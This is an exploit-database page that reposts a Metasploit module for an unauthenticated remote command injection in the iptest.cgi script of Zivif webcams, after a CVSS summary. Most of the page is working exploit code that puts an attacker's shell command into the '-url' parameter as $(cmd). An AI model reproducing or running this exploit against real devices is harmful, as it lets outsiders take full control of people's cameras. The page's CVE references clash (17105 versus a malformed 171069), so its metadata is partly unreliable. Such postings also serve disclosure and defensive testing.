Zivif Camera 2.3.4.2103 iptest.cgi Blind Remote Command Execution

2020.06.17
Credit: Silas Cutler
Risk: High
Local: No
Remote: Yes
CWE: CWE-78


CVSS Base Score: 10/10
Impact Subscore: 10/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Complete
Integrity impact: Complete
Availability impact: Complete

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => 'Zivif Camera iptest.cgi Blind Remote Command Execution', 'Description' => %q{ This module exploits a remote command execution vulnerability in Zivif webcams. This is known to impact versions prior to and including v2.3.4.2103. Exploit was reported in CVE-2017-17105. }, 'License' => MSF_LICENSE, 'Author' => [ 'Silas Cutler (p1nk)' ], 'References' => [ [ 'URL', 'https://seclists.org/fulldisclosure/2017/Dec/42' ], [ 'CVE', '2017-171069' ] ], 'Platform' => 'unix', 'Targets' => [ [ 'Automatic Target', { }] ], 'Payload' => { 'Space' => 1024, 'BadChars' => "\x00\x27", 'DisableNops' => true, 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic' } }, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/generic', }, 'Privileged' => false, 'DisclosureDate' => "2017-09-01", 'DefaultTarget' => 0)) end def check res = send_request_cgi('uri' => normalize_uri('cgi-bin', 'iptest.cgi')) unless res vprint_error('Connection failed') return Exploit::CheckCode::Unknown end unless res.code && res.code == 200 return CheckCode::Safe end CheckCode::Detected end def exploit print_status("Sending request") cmd = datastore['CMD'] res = send_request_cgi( 'uri' => normalize_uri('cgi-bin', 'iptest.cgi'), 'method' => 'GET', 'vars_get' => { 'cmd' => "iptest.cgi", '-time' => Time.now.to_i, '-url' => "$(" + cmd + ")" } ) unless res fail_with(Failure::Unreachable, 'Connection failed') end if res.code && res.code == 200 print_good('Command sent successfully') else fail_with(Failure::UnexpectedReply, 'Unable to send command to target') end end end


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2020, cxsecurity.com

 

Back to Top